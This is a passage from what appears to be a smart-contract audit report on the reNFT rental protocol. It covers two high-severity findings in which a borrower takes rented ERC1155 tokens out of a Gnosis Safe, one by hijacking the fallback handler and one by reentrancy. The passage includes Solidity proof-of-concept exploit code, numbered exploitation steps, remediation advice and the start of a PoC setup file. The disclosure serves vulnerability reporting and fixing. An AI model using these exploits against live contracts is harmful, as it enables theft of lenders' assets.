        ) = finalizeOrder();
        

        // Create an order fulfillment
        createOrderFulfillment({
            _fulfiller: attacker,
            order: order,
            orderHash: orderHash,
            metadata: metadata
        });

        // Finalize the base order fulfillment
        RentalOrder memory rentalOrder = finalizeBaseOrderFulfillment();

        // get the rental order hash
        bytes32 rentalOrderHash = create.getRentalOrderHash(rentalOrder);


        // Assert that the rental order was stored
        assertEq(STORE.orders(rentalOrderHash), true);

        // Assert that the token is in storage
        assertEq(STORE.isRentedOut(address(attacker.safe), address(erc1155s[0]), 0), true);

        // assert that the fulfiller made a payment
        assertEq(erc20s[0].balanceOf(attacker.addr), uint256(9900));

        // assert that a payment was made to the escrow contract
        assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(100));

        // assert that a payment was synced properly in the escrow contract
        assertEq(ESCRW.balanceOf(address(erc20s[0])), uint256(100));


        // Impersonate the attacker
        vm.startPrank(attacker.addr);

        // The `setFallbackHandler` TX
        bytes memory transaction = abi.encodeWithSelector(
            Safe.setFallbackHandler.selector,
            address(address(erc1155s[0]))
        );

        // The signature of the `setFallbackHandler` TX
        bytes memory transactionSignature = SafeUtils.signTransaction(
            address(attacker.safe),
            attacker.privateKey,
            address(attacker.safe),
            transaction
        );

        // Execute the transaction on attacker's safe
        SafeUtils.executeTransaction(
            address(attacker.safe),
            address(attacker.safe),
            transaction,
            transactionSignature
        );

        /** ----------------- Exploitation ----------------- */

        // TX calldata
        bytes memory hijackTX = abi.encodeWithSignature(
            "safeTransferFrom(address,address,uint256,uint256,bytes)",
            address(attacker.safe),
            address(attacker.addr),
            0,
            100,
            ""
        );

        // The exploit
        (bool tx_success, ) = address(attacker.safe).call(
            hijackTX
        );


        /** ----------------- Exploit proof ----------------- */

        uint256 attackersBalance = erc1155s[0].balanceOf(address(attacker.addr), 0);
        uint256 attackersSafeBalance = erc1155s[0].balanceOf(address(attacker.safe), 0);

        if (tx_success && attackersSafeBalance == uint256(0) && attackersBalance == uint256(100)) {
            console.log("Tokens successfully hijacked from the attacker's (borrower) safe!");
        }


    }

}


interface Safe {
    function execTransaction(
        address to,
        uint256 value,
        bytes calldata data,
        Enum.Operation operation,
        uint256 safeTxGas,
        uint256 baseGas,
        uint256 gasPrice,
        address gasToken,
        address payable refundReceiver,
        bytes memory signatures
    ) external payable returns (bool success);

    function setFallbackHandler(address handler) external;
}

Impact


This severe vulnerability allows an attacker to hijack ANY ERC721 or ERC1155 tokens he rents.


Remediation


In the guard, check if the TX is a call to the function setFallbackHandler(). If it is, then ensure that the address supplied to that function is not an address of an actively rented ERC721/1155 token. Additionally, if the borrower rents a new token, ensure that the already set fallback handler address isn’t the same as the newly-rented token address.


0xean (Judge) commented:

H seems appropriate here, direct loss of assets.

Alec1017 (reNFT) confirmed and commented:

PoC on this one was confirmed. Direct loss of assets.

reNFT mitigated:

The PR here - Adds check to prevent setting of the fallback handler by the safe owner.

Status: Mitigation confirmed. Full details in reports from EV_om, sin1st3r__ and juancito.


[H-03] An attacker can hijack any ERC1155 token he rents due to a design issue in reNFT via reentrancy exploitation

Submitted by sin1st3r__, also found by Beepidibop and hash

Pre-requisite knowledge & an overview of the features in question


  1. Gnosis safe fallback handlers: Safes starting with version 1.1.1 allow to specify a fallback handler. A gnosis safe fallback handler is a contract which handles all functions that is unknown to the safe, this feature is meant to provide a great flexibility for the safe user. The safe in particular says “If I see something unknown, then I just let the fallback handler deal with it.”

    Example: If you want to take a uniswap flash loan using your gnosis safe, you’ll have to create a fallback handler contract with the callback function uniswapV2Call(). When you decide to take a flash loan using your safe, you’ll send a call to swap() in the uniswap contract. The uniswap contract will then reach out to your safe contract asking to call uniswapV2Call(), but uniswapV2Call() isn’t actually implemented in the safe contract itself, so your safe will reach out to the fallback handler you created, set as the safe’s fallback handler and ask it to handle the uniswapV2Call() TX coming from uniswap.

    Setting a fallback handler: To set a fallback handler for your safe, you’ll have to call the function setFallbackHandler() which you can find it’s logic in FallbackManager.sol


The Vulnerability


In order to make sense of the vulnerability, we need to understand the token transferral & rental registeration execution flow first.

Step 1: First of all, before the fulfillment process begins, both the lender and the borrower need to approve the Seaport Conduit to spend their tokens on behalf of them. The lender approves the conduit to spend the NFT token which he wants to lend (offer item) and the borrower approves the ERC20 tokens he will use as a payment method for this rental (consideration item).

Step 2: Once the fulfillment process begins, the conduit begins the token transferral process. The conduit transfers the lender’s NFT tokens to the borrower’s gnosis rental safe, then it transfers the borrower’s ERC20 tokens to the Payment Escrow.

Note 1: Keep in mind that the rental is not registered yet..

Note 2: The Seaport Conduit utilizes the safeTransferFrom function to transfer the ERC1155 tokens which will trigger onERC1155Receive hook on the receiver of the ERC1155 tokens, in this case, it’s the borrower’s rental safe. However, when it comes to the transferral of ERC721 tokens, it uses transferFrom and not safeTransferFrom.

Step 3: Once the tokens are transferred, Seaport will communicate with the Zone contract. You can think of the zone contract as a contract holding a callback function which is called after all the swaps are made. The contract which will be holding the callback function to be executed by Seaport is Create.sol and the callback function it is holding, which as I mentioned, will be called by Seaport, is validateOrder().

Step 4: Once the validateOrder() function is called, the rental registeration process will kick in. A series of internal functions will be called inside Create.sol which will verify the signatures of the order data it has received from seaport and then the internal function _rentFromZone will be called and this internal function will actually register the rental. It’ll communicate with the Storage module which holds all the rental data and ask it to add the rental.

Step 5: The rental is finally added.

Here is the full execution flow.

Note: to view the provided image, please see the original submission here.


The vulnerability


The main vulnerability exists within the fact that reNFT does not register the rental except after swapping the tokens, in addition to safeTransferFrom() being used to transfer ERC1155 tokens, which would of course, trigger the callback function onERC1155Receive() on the borrower’s safe.

The combination of those two factors allow for the exploitation of a reentrancy vulnerability allowing an attacker to hijack ANY ERC1155 tokens he rents.

Steps of exploitation


  1. The attacker will create a custom fallback handler contract which will contain an implementation of the onERC1155Receive() function, which will be triggered by the Seaport Conduit when it conducts the token swap and moves the lender’s NFT tokens to the borrower’s safe. The implementation of the onERC1155Receive() function will simply instruct the gnosis safe to transfer the tokens to the attacker’s address.

    Since the rental is not yet registered, the guard will let the transferral occur normally

  2. The attacker will create the rental safe which he’ll utilize to hijack the target ERC1155 token.
  3. The attacker will set the fallback handler address of his safe to be the address of the custom fallback handler contract he created.
  4. The attacker will initiate the rental process
  5. When the conduit transfers the lender’s ERC1155 token to the attacker’s safe using safeTransferFrom. It’ll request to call onERC1155Receive() on the attacker’s safe, but the onERC1155Receive() callback function isn’t implemented by default in the safe contract, so the safe contract will rely on the custom fallback handler (which the attacker set) and the onERC1155Receive() function in the fallback handler will be executed.
  6. When the onERC1155Receive() callback is executed in the custom fallback handler contract, the fallback handler will instruct gnosis to move the ERC1155 token rented to the attacker’s address. The gnosis guard will be disarmed and will allow the transferral to occur normally because it isn’t aware of the rental at this point.
  7. The ERC1155 token will be hijacked successfully.

Proof of concept


To run the PoC, you’ll need to do the following:

  1. You’ll need to add the following two files to the test/ folder:

    1. SetupExploit.sol -> Sets up everything from seaport, gnosis, reNFT contracts
    2. Exploit.sol -> The actual exploit PoC which relies on SetupExploit.sol as a base.
  2. You’ll need to run this command forge test --match-contract Exploit --match-test test_ERC1155_Exploit -vvv

The files:

SetupExploit.sol
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.20;

import {
    ConsiderationItem,
    OfferItem,
    OrderParameters,
    OrderComponents,
    Order,
    AdvancedOrder,
    ItemType,
    ItemType as SeaportItemType,
    CriteriaResolver,
    OrderType as SeaportOrderType,
    Fulfillment,
    FulfillmentComponent
} from "@seaport-types/lib/ConsiderationStructs.sol";
import {
    AdvancedOrderLib,
    ConsiderationItemLib,
    FulfillmentComponentLib,
    FulfillmentLib,
    OfferItemLib,
    OrderComponentsLib,
    OrderLib,
    OrderParametersLib,
    SeaportArrays,
    ZoneParametersLib
} from "@seaport-sol/SeaportSol.sol";

import {
    OrderMetadata,
    OrderType,
    OrderFulfillment,
    RentPayload,
    RentalOrder,
    Item,
    SettleTo,
    ItemType as RentalItemType
} from "@src/libraries/RentalStructs.sol";

import {ECDSA} from "@openzeppelin-contracts/utils/cryptography/ECDSA.sol";
import {OrderMetadata, OrderType, Hook} from "@src/libraries/RentalStructs.sol";
import {Vm} from "@forge-std/Vm.sol";
import {Assertions} from "@test/utils/Assertions.sol";
import {Constants} from "@test/utils/Constants.sol";
import {LibString} from "@solady/utils/LibString.sol";
import {SafeL2} from "@safe-contracts/SafeL2.sol";
import {BaseExternal} from "@test/fixtures/external/BaseExternal.sol";
import {Create2Deployer} from "@src/Create2Deployer.sol";
import {Kernel, Actions} from "@src/Kernel.sol";
import {Storage} from "@src/modules/Storage.sol";
import {PaymentEscrow} from "@src/modules/PaymentEscrow.sol";
import {Create} from "@src/policies/Create.sol";
import {Stop} from "@src/policies/Stop.sol";
import {Factory} from "@src/policies/Factory.sol";
import {Admin} from "@src/policies/Admin.sol";
import {Guard} from "@src/policies/Guard.sol";
import {toRole} from "@src/libraries/KernelUtils.sol";
import {Proxy} from "@src/proxy/Proxy.sol";
import {Events} from "@src/libraries/Events.sol";

import {ProtocolAccount} from "@test/utils/Types.sol";
import {MockERC20} from "@test/mocks/tokens/standard/MockERC20.sol";
import {MockERC721} from "@test/mocks/tokens/standard/MockERC721.sol";
import {MockERC1155} from "@test/mocks/tokens/standard/MockERC1155.sol";
import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol";
import {Enum} from "@safe-contracts/common/Enum.sol";
import {ISafe} from "@src/interfaces/ISafe.sol";


// Deploys all V3 protocol contracts
contract Protocol is BaseExternal {
    // Kernel
    Kernel public kernel;

    // Modules
    Storage public STORE;
    PaymentEscrow public ESCRW;

    // Module implementation addresses
    Storage public storageImplementation;
    PaymentEscrow public paymentEscrowImplementation;

    // Policies
    Create public create;
    Stop public stop;
    Factory public factory;
    Admin public admin;
    Guard public guard;

    // Protocol accounts
    Vm.Wallet public rentalSigner;
    Vm.Wallet public deployer;

    // protocol constants
    bytes12 public protocolVersion;
    bytes32 public salt;

    function _deployKernel() internal {
        // abi encode the kernel bytecode and constructor arguments
        bytes memory kernelInitCode = abi.encodePacked(
            type(Kernel).creationCode,
            abi.encode(deployer.addr, deployer.addr)
        );

        // Deploy kernel contract
        vm.prank(deployer.addr);
        kernel = Kernel(create2Deployer.deploy(salt, kernelInitCode));

        // label the contract
        vm.label(address(kernel), "kernel");
    }

    function _deployStorageModule() internal {
        // abi encode the storage bytecode and constructor arguments
        // for the implementation contract
        bytes memory storageImplementationInitCode = abi.encodePacked(
            type(Storage).creationCode,
            abi.encode(address(0))
        );

        // Deploy storage implementation contract
        vm.prank(deployer.addr);
        storageImplementation = Storage(
            create2Deployer.deploy(salt, storageImplementationInitCode)
        );

        // abi encode the storage bytecode and initialization arguments
        // for the proxy contract
        bytes memory storageProxyInitCode = abi.encodePacked(
            type(Proxy).creationCode,
            abi.encode(
                address(storageImplementation),
                abi.encodeWithSelector(
                    Storage.MODULE_PROXY_INSTANTIATION.selector,
                    address(kernel)
                )
            )
        );

        // Deploy storage proxy contract
        vm.prank(deployer.addr);
        STORE = Storage(create2Deployer.deploy(salt, storageProxyInitCode));

        // label the contracts
        vm.label(address(STORE), "STORE");
        vm.label(address(storageImplementation), "STORE_IMPLEMENTATION");
    }

    function _deployPaymentEscrowModule() internal {
        // abi encode the payment escrow bytecode and constructor arguments
        // for the implementation contract
        bytes memory paymentEscrowImplementationInitCode = abi.encodePacked(
            type(PaymentEscrow).creationCode,
            abi.encode(address(0))
        );

        // Deploy payment escrow implementation contract
        vm.prank(deployer.addr);
        paymentEscrowImplementation = PaymentEscrow(
            create2Deployer.deploy(salt, paymentEscrowImplementationInitCode)
        );

        // abi encode the payment escrow bytecode and initialization arguments
        // for the proxy contract
        bytes memory paymentEscrowProxyInitCode = abi.encodePacked(
            type(Proxy).creationCode,
            abi.encode(
                address(paymentEscrowImplementation),
                abi.encodeWithSelector(
                    PaymentEscrow.MODULE_PROXY_INSTANTIATION.selector,
                    address(kernel)
                )
            )
        );

        // Deploy payment escrow contract
        vm.prank(deployer.addr);
        ESCRW = PaymentEscrow(create2Deployer.deploy(salt, paymentEscrowProxyInitCode));

        // label the contracts
        vm.label(address(ESCRW), "ESCRW");
        vm.label(address(paymentEscrowImplementation), "ESCRW_IMPLEMENTATION");
    }

    function _deployCreatePolicy() internal {
        // abi encode the create policy bytecode and constructor arguments
        bytes memory createInitCode = abi.encodePacked(
            type(Create).creationCode,
            abi.encode(address(kernel))
        );

        // Deploy create rental policy contract
        vm.prank(deployer.addr);
        create = Create(create2Deployer.deploy(salt, createInitCode));

        // label the contract
        vm.label(address(create), "CreatePolicy");
    }

    function _deployStopPolicy() internal {
        // abi encode the stop policy bytecode and constructor arguments
        bytes memory stopInitCode = abi.encodePacked(
            type(Stop).creationCode,
            abi.encode(address(kernel))
        );

        // Deploy stop rental policy contract
        vm.prank(deployer.addr);
        stop = Stop(create2Deployer.deploy(salt, stopInitCode));

        // label the contract
        vm.label(address(stop), "StopPolicy");
    }

    function _deployAdminPolicy() internal {
        // abi encode the admin policy bytecode and constructor arguments
        bytes memory adminInitCode = abi.encodePacked(
            type(Admin).creationCode,
            abi.encode(address(kernel))
        );

        // Deploy admin policy contract
        vm.prank(deployer.addr);
        admin = Admin(create2Deployer.deploy(salt, adminInitCode));

        // label the contract
        vm.label(address(admin), "AdminPolicy");
    }

    function _deployGuardPolicy() internal {
        // abi encode the guard policy bytecode and constructor arguments
        bytes memory guardInitCode = abi.encodePacked(
            type(Guard).creationCode,
            abi.encode(address(kernel))
        );

        // Deploy guard policy contract
        vm.prank(deployer.addr);
        guard = Guard(create2Deployer.deploy(salt, guardInitCode));

        // label the contract
        vm.label(address(guard), "GuardPolicy");
    }

    function _deployFactoryPolicy() internal {
        // abi encode the factory policy bytecode and constructor arguments
        bytes memory factoryInitCode = abi.encodePacked(
            type(Factory).creationCode,
            abi.encode(
                address(kernel),
                address(stop),
                address(guard),
                address(tokenCallbackHandler),
                address(safeProxyFactory),
                address(safeSingleton)
            )
        );

        // Deploy factory policy contract
        vm.prank(deployer.addr);
        factory = Factory(create2Deployer.deploy(salt, factoryInitCode));

        // label the contract
        vm.label(address(factory), "FactoryPolicy");
    }

    function _setupKernel() internal {
        // Start impersonating the deployer
        vm.startPrank(deployer.addr);

        // Install modules
        kernel.executeAction(Actions.InstallModule, address(STORE));
        kernel.executeAction(Actions.InstallModule, address(ESCRW));

        // Approve policies
        kernel.executeAction(Actions.ActivatePolicy, address(create));
        kernel.executeAction(Actions.ActivatePolicy, address(stop));
        kernel.executeAction(Actions.ActivatePolicy, address(factory));
        kernel.executeAction(Actions.ActivatePolicy, address(guard));
        kernel.executeAction(Actions.ActivatePolicy, address(admin));

        // Grant `seaport` role to seaport protocol
        kernel.grantRole(toRole("SEAPORT"), address(seaport));

        // Grant `signer` role to the protocol signer to sign off on create payloads
        kernel.grantRole(toRole("CREATE_SIGNER"), rentalSigner.addr);

        // Grant 'admin_admin` role to the address which can conduct admin operations on the protocol
        kernel.grantRole(toRole("ADMIN_ADMIN"), deployer.addr);

        // Grant 'guard_admin` role to the address which can toggle hooks
        kernel.grantRole(toRole("GUARD_ADMIN"), deployer.addr);

        // Grant `stop_admin` role to the address which can skim funds from the payment escrow
        kernel.grantRole(toRole("STOP_ADMIN"), deployer.addr);

        // Stop impersonating the deployer
        vm.stopPrank();
    }

    function setUp() public virtual override {
        // setup dependencies
        super.setUp();

        // create the rental signer address and private key
        rentalSigner = vm.createWallet("rentalSigner");

        // create the deployer address and private key
        deployer = vm.createWallet("deployer");

        // contract salts (using 0x000000000000000000000100 to represent a version 1.0.0 of each contract)
        protocolVersion = 0x000000000000000000000100;
        salt = create2Deployer.generateSaltWithSender(deployer.addr, protocolVersion);

        // deploy kernel
        _deployKernel();

        // Deploy payment escrow
        _deployPaymentEscrowModule();

        // Deploy rental storage
        _deployStorageModule();

        // deploy create policy
        _deployCreatePolicy();

        // deploy stop policy
        _deployStopPolicy();

        // deploy admin policy
        _deployAdminPolicy();

        // Deploy guard policy
        _deployGuardPolicy();

        // deploy rental factory
        _deployFactoryPolicy();

        // intialize the kernel
        _setupKernel();
    }
}


// Creates test accounts to interact with the V3 protocol
// Borrowed from test/fixtures/protocol/AccountCreator
contract AccountCreator is Protocol {
    // Protocol accounts for testing
    ProtocolAccount public alice;
    ProtocolAccount public bob;
    ProtocolAccount public carol;
    ProtocolAccount public dan;
    ProtocolAccount public eve;
    ProtocolAccount public attacker;

    // Mock tokens for testing
    MockERC20[] public erc20s;
    MockERC721[] public erc721s;
    MockERC1155[] public erc1155s;

    function setUp() public virtual override {
        super.setUp();

        // deploy 3 erc20 tokens, 3 erc721 tokens, and 3 erc1155 tokens
        _deployTokens(3);

        // instantiate all wallets and deploy rental safes for each
        alice = _fundWalletAndDeployRentalSafe("alice");
        bob = _fundWalletAndDeployRentalSafe("bob");
        carol = _fundWalletAndDeployRentalSafe("carol");
        dan = _fundWalletAndDeployRentalSafe("dan");
        eve = _fundWalletAndDeployRentalSafe("eve");
        attacker = _fundWalletAndDeployRentalSafe("attacker");



    }

    function _deployTokens(uint256 numTokens) internal {
        for (uint256 i; i < numTokens; i++) {
            _deployErc20Token();
            _deployErc721Token();
            _deployErc1155Token();
        }
    }

    function _deployErc20Token() internal returns (uint256 i) {
        // save the token's index
        i = erc20s.length;

        // deploy the mock token
        MockERC20 token = new MockERC20();

        // push the token to the array of mocks
        erc20s.push(token);

        // set the token label with the index
        vm.label(address(token), string.concat("MERC20_", LibString.toString(i)));
    }

    function _deployErc721Token() internal returns (uint256 i) {
        // save the token's index
        i = erc721s.length;

        // deploy the mock token
        MockERC721 token = new MockERC721();

        // push the token to the array of mocks
        erc721s.push(token);

        // set the token label with the index
        vm.label(address(token), string.concat("MERC721_", LibString.toString(i)));
    }

    function _deployErc1155Token() internal returns (uint256 i) {
        // save the token's index
        i = erc1155s.length;

        // deploy the mock token
        MockERC1155 token = new MockERC1155();

        // push the token to the array of mocks
        erc1155s.push(token);

        // set the token label with the index
        vm.label(address(token), string.concat("MERC1155_", LibString.toString(i)));
    }

    function _deployRentalSafe(
        address owner,
        string memory name
    ) internal returns (address safe) {
        // Deploy a 1/1 rental safe
        address[] memory owners = new address[](1);
        owners[0] = owner;
        safe = factory.deployRentalSafe(owners, 1);



    }

    function _fundWalletAndDeployRentalSafe(
        string memory name
    ) internal returns (ProtocolAccount memory account) {
        // create a wallet with a address, public key, and private key
        Vm.Wallet memory wallet = vm.createWallet(name);

        // deploy a rental safe for the address
        address rentalSafe = _deployRentalSafe(wallet.addr, name);

        // fund the wallet with ether, all erc20s, and approve the conduit for erc20s, erc721s, erc1155s
        _allocateTokensAndApprovals(wallet.addr, 10000);

        // create an account
        account = ProtocolAccount({
            addr: wallet.addr,
            safe: SafeL2(payable(rentalSafe)),
            publicKeyX: wallet.publicKeyX,
            publicKeyY: wallet.publicKeyY,
            privateKey: wallet.privateKey
        });

    }

    function _allocateTokensAndApprovals(address to, uint128 amount) internal {
        // deal ether to the recipient
        vm.deal(to, amount);

        // mint all erc20 tokens to the recipient
        for (uint256 i = 0; i < erc20s.length; ++i) {
            erc20s[i].mint(to, amount);
        }

        // set token approvals
        _setApprovals(to);
    }

    function _setApprovals(address owner) internal {
        // impersonate the owner address
        vm.startPrank(owner);

        // set all approvals for erc20 tokens
        for (uint256 i = 0; i < erc20s.length; ++i) {
            erc20s[i].approve(address(conduit), type(uint256).max);
        }

        // set all approvals for erc721 tokens
        for (uint256 i = 0; i < erc721s.length; ++i) {
            erc721s[i].setApprovalForAll(address(conduit), true);
        }

        // set all approvals for erc1155 tokens
        for (uint256 i = 0; i < erc1155s.length; ++i) {
            erc1155s[i].setApprovalForAll(address(conduit), true);
        }

        // stop impersonating
        vm.stopPrank();
    }
}



interface ERC1155TokenReceiver {

    function onERC1155Received(
        address _operator,
        address _from,
        uint256 _id,
        uint256 _value,
        bytes calldata _data
    ) external returns (bytes4);

    function onERC1155BatchReceived(
        address _operator,
        address _from,
        uint256[] calldata _ids,
        uint256[] calldata _values,
        bytes calldata _data
    ) external returns (bytes4);
}

interface ERC721TokenReceiver {
    function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns (bytes4);
}

interface IERC165 {
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}


/**
* Borrowed from gnosis safe smart contracts
* @title Default Callback Handler - Handles supported tokens' callbacks, allowing Safes receiving these tokens.
* @author Richard Meissner - @rmeissner
*/
contract TokenCallbackHandler is ERC1155TokenReceiver, ERC721TokenReceiver, IERC165 {
    /**
    * @notice Handles ERC1155 Token callback.
    * return Standardized onERC1155Received return value.
    */
    function onERC1155Received(address, address, uint256, uint256, bytes calldata) external pure override returns (bytes4) {
        return 0xf23a6e61;
    }

    /**
    * @notice Handles ERC1155 Token batch callback.
    * return Standardized onERC1155BatchReceived return value.
    */
    function onERC1155BatchReceived(
        address,
        address,
        uint256[] calldata,
        uint256[] calldata,
        bytes calldata
    ) external pure override returns (bytes4) {
        return 0xbc197c81;
    }

    /**
    * @notice Handles ERC721 Token callback.
    *  return Standardized onERC721Received return value.
    */
    function onERC721Received(address, address, uint256, bytes calldata) external pure override returns (bytes4) {
        return 0x150b7a02;
    }

    /**
    * @notice Handles ERC777 Token callback.
    * return nothing (not standardized)
    */
    function tokensReceived(address, address, address, uint256, bytes calldata, bytes calldata) external pure {
        // We implement this for completeness, doesn't really have any value
    }

    /**
    * @notice Implements ERC165 interface support for ERC1155TokenReceiver, ERC721TokenReceiver and IERC165.
    * @param interfaceId Id of the interface.
    * @return if the interface is supported.
    */
    function supportsInterface(bytes4 interfaceId) external view virtual override returns (bool) {
        return
            interfaceId == type(ERC1155TokenReceiver).interfaceId ||
            interfaceId == type(ERC721TokenReceiver).interfaceId ||
            interfaceId == type(IERC165).interfaceId;
    }

}



// Sets up logic in the test engine related to order creation
// Borrowed from test/fixtures/engine/OrderCreator
contract OrderCreator is AccountCreator {
    using OfferItemLib for OfferItem;
    using ConsiderationItemLib for ConsiderationItem;
    using OrderComponentsLib for OrderComponents;
    using OrderLib for Order;
    using ECDSA for bytes32;

    // defines a config for a standard order component
    string constant STANDARD_ORDER_COMPONENTS = "standard_order_components";

    struct OrderToCreate {
        ProtocolAccount offerer;
        OfferItem[] offerItems;
        ConsiderationItem[] considerationItems;
        OrderMetadata metadata;
    }

    // keeps track of tokens used during a test
    uint256[] usedOfferERC721s;
    uint256[] usedOfferERC1155s;

    uint256[] usedConsiderationERC721s;
    uint256[] usedConsiderationERC1155s;

    // components of an order
    OrderToCreate orderToCreate;

    function setUp() public virtual override {
        super.setUp();

        // Define a standard OrderComponents struct which is ready for
        // use with the Create Policy and the protocol conduit contract
        OrderComponentsLib
            .empty()
            .withOrderType(SeaportOrderType.FULL_RESTRICTED)
            .withZone(address(create))
            .withStartTime(block.timestamp)
            .withEndTime(block.timestamp + 100)
            .withSalt(123456789)
            .withConduitKey(conduitKey)
            .saveDefault(STANDARD_ORDER_COMPONENTS);

        // for each test token, create a storage slot
        for (uint256 i = 0; i < erc721s.length; i++) {
            usedOfferERC721s.push();
            usedConsiderationERC721s.push();

            usedOfferERC1155s.push();
            usedConsiderationERC1155s.push();
        }
    }

    /////////////////////////////////////////////////////////////////////////////////
    //                                Order Creation                               //
    /////////////////////////////////////////////////////////////////////////////////

    // creates an order based on the provided context. The defaults on this order
    // are good for most test cases.
    function createOrder(
        ProtocolAccount memory offerer,
        OrderType orderType,
        uint256 erc721Offers,
        uint256 erc1155Offers,
        uint256 erc20Offers,
        uint256 erc721Considerations,
        uint256 erc1155Considerations,
        uint256 erc20Considerations
    ) internal {
        // require that the number of offer items or consideration items
        // dont exceed the number of test tokens
        require(
            erc721Offers <= erc721s.length &&
                erc721Offers <= erc1155s.length &&
                erc20Offers <= erc20s.length,
            "TEST: too many offer items defined"
        );
        require(
            erc721Considerations <= erc721s.length &&
                erc1155Considerations <= erc1155s.length &&
                erc20Considerations <= erc20s.length,
            "TEST: too many consideration items defined"
        );

        // create the offerer
        _createOfferer(offerer);

        // add the offer items
        _createOfferItems(erc721Offers, erc1155Offers, erc20Offers);

        // create the consideration items
        _createConsiderationItems(
            erc721Considerations,
            erc1155Considerations,
            erc20Considerations
        );

        // Create order metadata
        _createOrderMetadata(orderType);
    }

    // Creates an offerer on the order to create
    function _createOfferer(ProtocolAccount memory offerer) private {
        orderToCreate.offerer = offerer;
    }

    // Creates offer items which are good for most tests
    function _createOfferItems(
        uint256 erc721Offers,
        uint256 erc1155Offers,
        uint256 erc20Offers
    ) private {
        // generate the ERC721 offer items
        for (uint256 i = 0; i < erc721Offers; ++i) {
            // create the offer item
            orderToCreate.offerItems.push(
                OfferItemLib
                    .empty()
                    .withItemType(ItemType.ERC721)
                    .withToken(address(erc721s[i]))
                    .withIdentifierOrCriteria(usedOfferERC721s[i])
                    .withStartAmount(1)
                    .withEndAmount(1)
            );

            // mint an erc721 to the offerer
            erc721s[i].mint(orderToCreate.offerer.addr);

            // update the used token so it cannot be used again in the same test
            usedOfferERC721s[i]++;
        }

        // generate the ERC1155 offer items
        for (uint256 i = 0; i < erc1155Offers; ++i) {
            // create the offer item
            orderToCreate.offerItems.push(
                OfferItemLib
                    .empty()
                    .withItemType(ItemType.ERC1155)
                    .withToken(address(erc1155s[i]))
                    .withIdentifierOrCriteria(usedOfferERC1155s[i])
                    .withStartAmount(100)
                    .withEndAmount(100)
            );

            // mint an erc1155 to the offerer
            erc1155s[i].mint(orderToCreate.offerer.addr, 100);

            // update the used token so it cannot be used again in the same test
            usedOfferERC1155s[i]++;
        }

        // generate the ERC20 offer items
        for (uint256 i = 0; i < erc20Offers; ++i) {
            // create the offer item
            orderToCreate.offerItems.push(
                OfferItemLib
                    .empty()
                    .withItemType(ItemType.ERC20)
                    .withToken(address(erc20s[i]))
                    .withStartAmount(100)
                    .withEndAmount(100)
            );
        }
    }

    // Creates consideration items that are good for most tests
    function _createConsiderationItems(
        uint256 erc721Considerations,
        uint256 erc1155Considerations,
        uint256 erc20Considerations
    ) private {
        // generate the ERC721 consideration items
        for (uint256 i = 0; i < erc721Considerations; ++i) {
            // create the consideration item, and set the recipient as the offerer's
            // rental safe address
            orderToCreate.considerationItems.push(
                ConsiderationItemLib
                    .empty()
                    .withRecipient(address(orderToCreate.offerer.safe))
                    .withItemType(ItemType.ERC721)
                    .withToken(address(erc721s[i]))
                    .withIdentifierOrCriteria(usedConsiderationERC721s[i])
                    .withStartAmount(1)
                    .withEndAmount(1)
            );

            // update the used token so it cannot be used again in the same test
            usedConsiderationERC721s[i]++;
        }

        // generate the ERC1155 consideration items
        for (uint256 i = 0; i < erc1155Considerations; ++i) {
            // create the consideration item, and set the recipient as the offerer's
            // rental safe address
            orderToCreate.considerationItems.push(
                ConsiderationItemLib
                    .empty()
                    .withRecipient(address(orderToCreate.offerer.safe))
                    .withItemType(ItemType.ERC1155)
                    .withToken(address(erc1155s[i]))
                    .withIdentifierOrCriteria(usedConsiderationERC1155s[i])
                    .withStartAmount(100)
                    .withEndAmount(100)
            );

            // update the used token so it cannot be used again in the same test
            usedConsiderationERC1155s[i]++;
        }

        // generate the ERC20 consideration items
        for (uint256 i = 0; i < erc20Considerations; ++i) {
            // create the offer item
            orderToCreate.considerationItems.push(
                ConsiderationItemLib
                    .empty()
                    .withRecipient(address(ESCRW))
                    .withItemType(ItemType.ERC20)
                    .withToken(address(erc20s[i]))
                    .withStartAmount(100)
                    .withEndAmount(100)
            );
        }
    }

    // Creates a order metadata that is good for most tests
    function _createOrderMetadata(OrderType orderType) private {
        // Create order metadata
        orderToCreate.metadata.orderType = orderType;
        orderToCreate.metadata.rentDuration = 500;
        orderToCreate.metadata.emittedExtraData = new bytes(0);
    }

    // creates a signed seaport order ready to be fulfilled by a renter
    function _createSignedOrder(
        ProtocolAccount memory _offerer,
        OfferItem[] memory _offerItems,
        ConsiderationItem[] memory _considerationItems,
        OrderMetadata memory _metadata
    ) private view returns (Order memory order, bytes32 orderHash) {
        // Build the order components
        OrderComponents memory orderComponents = OrderComponentsLib
            .fromDefault(STANDARD_ORDER_COMPONENTS)
            .withOfferer(_offerer.addr)
            .withOffer(_offerItems)
            .withConsideration(_considerationItems)
            .withZoneHash(create.getOrderMetadataHash(_metadata))
            .withCounter(seaport.getCounter(_offerer.addr));

        // generate the order hash
        orderHash = seaport.getOrderHash(orderComponents);

        // generate the signature for the order components
        bytes memory signature = _signSeaportOrder(_offerer.privateKey, orderHash);

        // create the order, but dont provide a signature if its a PAYEE order.
        // Since PAYEE orders are fulfilled by the offerer of the order, they
        // dont need a signature.
        if (_metadata.orderType == OrderType.PAYEE) {
            order = OrderLib.empty().withParameters(orderComponents.toOrderParameters());
        } else {
            order = OrderLib
                .empty()
                .withParameters(orderComponents.toOrderParameters())
                .withSignature(signature);
        }
    }

    function _signSeaportOrder(
        uint256 signerPrivateKey,
        bytes32 orderHash
    ) private view returns (bytes memory signature) {
        // fetch domain separator from seaport
        (, bytes32 domainSeparator, ) = seaport.information();

        // sign the EIP-712 digest
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
            signerPrivateKey,
            domainSeparator.toTypedDataHash(orderHash)
        );

        // encode the signature
        signature = abi.encodePacked(r, s, v);
    }

    /////////////////////////////////////////////////////////////////////////////////
    //                               Order Amendments                              //
    /////////////////////////////////////////////////////////////////////////////////

    function resetOrderToCreate() internal {
        delete orderToCreate;
    }

    function withOfferer(ProtocolAccount memory _offerer) internal {
        orderToCreate.offerer = _offerer;
    }

    function resetOfferer() internal {
        delete orderToCreate.offerer;
    }

    function withReplacedOfferItems(OfferItem[] memory _offerItems) internal {
        // reset all current offer items
        resetOfferItems();

        // add the new offer items to storage
        for (uint256 i = 0; i < _offerItems.length; i++) {
